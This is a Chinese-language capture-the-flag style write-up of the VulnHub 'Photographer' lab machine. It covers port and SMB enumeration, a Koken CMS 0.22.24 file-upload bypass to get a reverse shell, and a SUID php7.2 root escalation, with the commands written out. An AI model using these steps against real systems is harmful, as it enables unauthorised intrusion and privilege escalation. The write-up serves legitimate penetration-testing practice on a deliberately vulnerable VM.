vulnhub-Photographerr-渗透笔记

本文详细记录了针对VulnHub上的Photographer靶机的渗透测试过程,包括端口扫描、信息搜集、漏洞利用及权限提升等关键步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

靶机描述
博客地址 http://blog.yutian233.xyz/

This machine was developed to prepare for OSCP. It is boot2root, tested on VirtualBox (but works on VMWare) and has two flags: user.txt and proof.txt.


https://www.vulnhub.com/entry/photographer-1,519/

端口扫描

nmap -A -p- 192.168.31.91

image-20200803205409282

开放 80、139、445、8000端口

80是一个静态页面,没有利用信息

8000端口为 Koken的CMS

image-20200803212349287

当访问 shell.php 会出现

image-20200803212455622

像是kali自带shell的连接失败返回状态

目录扫描

8000端口

image-20200803212255404

admin目录为后台登陆

image-20200803212602374

445端口
使用 enum4linux 来搜集信息

enum4linux 192.168.31.91

image-20200803211109624

在这里得到了一个共享目录

image-20200803211140871

登陆之后可以看到共享的文件将mailsent.txt下载下来

Message-ID: <4129F3CA.2020509@dc.edu>
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence <agi@photographer.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi <daisa@photographer.com>
Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;)

使用账号 daisa@photographer.com 密码babygirl,来登录网站后台

来到网站后台

image-20200803212719770

版本为 0.22.24

搜索 koken cms 0.22.24 https://www.exploit-db.com/exploits/48706

image-20200803212858250

可以看到该CMS 0.22.24版本有文件上传漏洞

漏洞利用

使用可以反弹shell的木马

image-20200802215207296

更改文件名 - 添加 .jpg

image-20200802215751947

选择该文件上传

选择该文件上传

image-20200802215858740

开启 burp 抓包后再点击 import

image-20200802215932267

image-20200802215940162

将文件中的 .jpg删除点击 forward 发送

接下来

进入http://192.168.31.91:8000/content/ ,看到我们上传的shell,在kali中监听你设置的端口,就能得到反弹的shell了

image-20200802220237734

得到对话

image-20200802220356772

升级shell对话

python3 -c ‘import pty; pty.spawn("/bin/bash")’

find / -perm -u=s -type f 2>/dev/null

image-20200802230918955

将会使用 /usr/bin/php7.2来提权

输入

/usr/bin/php7.2 -r “pcntl_exec(’/bin/bash’, [’-p’]);”

现在得到了 root 权限

image-20200802231030813

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值